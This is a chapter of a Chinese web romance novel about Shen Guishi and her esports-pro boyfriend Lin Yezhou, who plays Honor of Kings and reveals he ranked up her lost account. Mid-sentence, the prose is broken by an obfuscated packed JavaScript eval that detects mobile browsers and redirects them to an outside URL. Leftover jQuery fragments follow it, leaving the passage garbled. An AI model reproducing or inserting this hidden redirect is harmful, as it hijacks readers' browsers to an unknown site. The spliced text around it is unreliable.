跟林野舟相处的这几年里，沈归时没看过他哭。


    高中时期，他每每被班主任喊家长，饶是被他父亲当众骂成那样，他也没吭一声。


    反倒是在沈归时走过去想问“他还好吗”之前，他嬉皮笑脸回了一句：“明天周末，实现你一个心愿，晚上回去带你上荣耀？”


    而此刻，明明是这样一个暧昧且极有可能进一步的时间里，林野舟哭了。


    颈侧的温度正一点一点击打着沈归时的神经，她被迫仰头，在林野舟的节奏下，意识模糊地应了声。


    真的，都是真的。


    她没有任何理由对林野舟说出我们分手这四个字的时候……


    林野舟又是怎样的，也像今天这样哭了吗？


    可自己明明对他这么不好。


    沈归时一向不觉得自己有多么优秀，值得让人这么珍惜。


    这几年，她看透人情冷暖，甚至用自己莫名奇妙上来的脾气，幼稚地和过去的一切告别。


    心里的声音不断提醒着她懦弱，胆小，遇事只会逃避现实。


    沈归时甚至讨厌过那样的自己。


    而她曾经最害怕最愧对的一个人，如今就在自己的怀里哭。


    她后悔了。


    她真不是个什么好东西，沈归时想。


    **


    林野舟从浴室出来的时候，沈归时正在跟宋慕桃打王者。


    她本来没打算在这个时间点用游戏转移注意力，但林野舟洗澡的时间比较久，她不做别的事情，总能想起刚才跟林野舟待一起的画面。


    他们之前虽然在一起过，可有些事情也只是蜻蜓点水。


    今晚还是沈归时真正意义上感受被吻到呼吸不上来的滋味。


    沈归时登录的之前注册的小号，前段时间在公司她跟宋慕桃和卫楚一起玩过，现在勉强上了星耀三。


    好在平时看的视频多，以前关注的王者技术主播也不少，沈归时再次上手实操的时候还不算生疏，打了几把手感就回来了，就是意识还不太到位。


    选位置的时候，宋慕桃被排到辅助位，沈归时是中路。


    她本想跟宋慕桃换位置，玩个瑶轻松些，这样林野舟洗完澡出来，她还能抽出时间跟人说说话。


    但宋慕桃不愿意。


    自从之前沈归时玩了一把中路法核西施带飞她，她就再也不想玩中路丢人了。


    沈归时在一楼，按照宋慕桃的指示选了西施。


    对面出了兰陵王。


    两人开着麦，宋慕桃的哀嚎声从听筒传出：“真狗啊，归时你注意点对面打野，他肯定要搞你。”


    沈归时刷到过那种兰陵王针对小乔的搞笑视频，在某些小乔玩家心里，兰陵王就应该被鞭尸而后挂于城墙。


    兰陵王隐身的技能常常用于偷袭，神不知鬼不觉地绕到没有位移英雄的身后，然后斩立决。


    其中，小乔玩家是被其伤害的最严重的头部人群。


    沈归时玩的西施也不意外，她玩的还是法核，没位移还很脆，被人逮到，基本上就没什么生存空间。


    但是沈归时只是笑笑，手机放一边，她嘴唇有点干，起身倒了杯水。


    “四级了四级了，我就知道这恶心的东西来下路抓我们射手了。”


    “他没抓成功，往中路去了，归时你小心点！”


    宋慕桃一边看着下路的视野，一边关注中路的情况。


    西施正在吃兵发育，对面中路在第一波对线时，被我方西施消耗，最终贡献一血，滚回泉水。


    西施的经济目前第一，但状态只有一半。


    全法西施伤害很高，为了后期考虑，对面的兰陵王肯定不会任由西施发育。


    “来啦来啦！”宋慕桃看见西施头上的三个感叹号，手忙脚乱地把射手打了半天的红给抢了。


    射手：“？”


    只见西施一闪躲开兰陵王的攻击，一技能拉住他，借防御塔的伤害，连招带走兰陵王。


    “我靠，好帅啊！”


    宋慕桃上次已经见过沈归时的操作了，当时就又喊又叫的，兴奋的不得了。


    她也是一个中路玩家，但是天赋不高，平时也懒，这种操作她学了好久都没学会。


    “别帅了小姐姐，你先把你脚下红还给我。”


    射手虞姬突然开麦说话，宋慕桃才意识到她开的是全队麦。


    宋慕桃不好意思地跟虞姬说了句不好意思，而后调整成组队麦。


    “你什么时候教教我，我也想学。”宋慕桃跟着虞姬冲锋陷阵，“还有那个秒换复活甲的，真的好酷，我每次死了都反应不过来换装备。”


    “多练，有空的时候你就去训练营，练了个几天就好啦。”沈归时去下路支援。


    她想起之前跟林野舟单练，被人用澜杀了几十次，最终好不容易摸透了打野的进攻特点，才练熟了以身为饵最终反击。


    林野舟从浴室擦着头发出来时，就听见一个陌生的女声正在夸他的女朋友。


    说他女朋友西施玩得真好，操作很干净，比某些只会装逼的男的不知道要帅多少多少倍。


    他垂眸看了眼沈归时的战绩。


    7/1/9。


    “小号？”林野舟扫过她的id，不是他上次发给她的账号。


    沈归时赶紧把麦关了，但耳朵尖的宋慕桃已经听见，她惊呼：“等等，你跟男人在一块儿呢？男朋友？你之前不是说你没谈——”


    沈归时关闭听筒。


    下一秒，游戏公屏上出现了一个问号。


    “嗯对，之前的不是跟你说找不到了吗？”沈归时又躲过了兰陵王的追击，她抽空仰头，看着他，“你怎么洗这么久，我都推到高地了。”


    林野舟短暂地愣了一下，转移话题：“那你快推，然后登陆我上次发给你的账号看看。”


    账号……


    她想起来了。


    那天她还在问林野舟这是什么，就撞见程诗禾跟凌经理的事儿。


    然后，然后就忘了这回事儿了，她以为是林野舟发错了。


    在射手虞姬的帮助下，他们蓝色方像没赢过似的，敌方三路高地一破，他们领先敌方接近一万的经济，硬生生地将其水晶点破。


    游戏结束，宋慕桃用微信给沈归时发信息问她在她身边的男人是谁，宋慕桃觉得那人的声音有点耳熟。


    沈归时随便跟她扯了几句，余光瞥了一眼林野舟，指尖飞速在键盘上划过。


    一个弟弟。


    林野舟比自己小半年，说他是自己的弟弟，不为过吧。


    看他登陆王者，沈归时侧身凑过去。


    职业选手的账号跟他们地普通账号不太一样，被官方认证过的标在id前面，非常醒目。


    除去官方id，每个选手也有自己的游戏昵称，经常蹲林野舟直播间的粉丝都知道，他的游戏名很简单。


    gsyyz。


    刚开始那阵子，有粉丝问这一串字母是什么意思，林野舟边打游戏边敷衍回：“随便打的，你们看看得了。”


    沈归时当时也没细究，如今当面看见，还觉得挺新奇。


    沈归时看了眼上次的聊天记录，输入账号密码，成功登陆。


    右上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240285|163838||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    角的两个字瞬间吸引了她的注意力。


    与时。


    是上次林野舟跟李松眠打solo的号。


    沈归时熟练地先把所有红点消灭，而后又点进主页看。


    看到战绩那栏满屏的胜利，她还是忍不住瞪大了双眼。


    上次他们三排，连胜过后连跪六把，自那以后，宋慕桃戒了王者一个星期。


    “真没看出来？”林野舟顺势将脑袋抵在沈归时肩膀上，握着她的手点进亲密关系。


    这个号没跟几个人绑定关系，其中最特别的，是跟李松眠的号绑了死党关系。


    沈归时突然想起自己之前找了几次没找回来最后直接就放弃了的游戏号。


    她偏头对上林野舟的目光，后知后觉问：“你盗我号？”


    林野舟傲娇般点点头：“对啊，给你发了国服，你高——”


    话说一半，以为自己听错了，他皱眉：“什么盗号？沈归时，你良心呢？”


    沈归时看他气急败坏的样子，忍笑道：“那你怎么有这个号？”


    要不是战绩太好，胜率太高，还有两个大国服坐镇，沈归时根本不敢认是她当初的那个号。


    但有几个特别的地方很容易辨认，比如胜率只有29%的李白，还有她当时玩孙尚香意外拿下五杀的记录，正摆在相册里供人观赏。


    “你自己没改密码，我后面登错号了。”林野舟从她颈窝里起身，不看她的眼睛，而后点进亲密关系设置里，“然后我就用我仅存的空闲时间，勉为其难的帮你打个国服。”


    沈归时盯着西施下方那亮闪闪的国服标，突然想起自己之前说过的话。


    只是说出口了最后没做到。


    看他给自己的号准备发送情侣关系申请，沈归时指尖悬停在屏幕上方，伸手盖住他的手背，阻止林野舟的动作。


    网上对林野舟谈恋爱的事还没有定论，这个节骨眼上，不能给他惹麻烦。


    “这样是不是太显眼了，被你粉丝看见了怎么办？你会被骂的。”


    林野舟挑眉，似是认同，但手上的动作未停，他趁着指尖空隙，给人发送申请。


    “大小姐，现在是二十一世纪，竞圈也没那么多规矩。”林野舟反握住沈归时的手，耐心给人解释，“电竞选手谈个恋爱的自由还是有的。”


    “而且，我又不怕被骂，又不是所有人都看我顺眼，我关注他们的情绪有什么意义？”


    沈归时抬眸，郑重坦白：“我怕。”


    她跟着程诗禾后边，没少见过林野舟那群女友粉的威力。


    林野舟还以为她准备跟自己说什么大道理，没曾想直接示弱，把他准备半天的内容直接咽了肚子里。


    他扔开手机，摆烂式发言：“行，那你就拒绝吧，反正我不会介意的。”


    沈归时抿唇，默默点下同意。


    嘴上却说：“好，那我拒绝吧。”


    林野舟急了，喊她名字才喊了一个姓氏，待他看清屏幕，瞬间哑声。


    “你逗我？”他不满质问。


    沈归时看透一切，摇摇头：“这是将功补过。”


    想起即将到来的夏季赛，她戳了戳林野舟的小臂：“但是你得继续加油，好好打比赛。”


    林野舟扣住沈归时的手腕，将人压倒：“嗯，听你的。”


    “那你要不要再将功补过一下？”他眼里闪着不明的情绪，晦暗，渴望，又克制。


    沈归时盯着他，任凭那道霸道的目光将自己生吞活剥。


    她伸手勾住林野舟的脖子。


    下一秒，沈归时借力挺胸吻上他的喉结。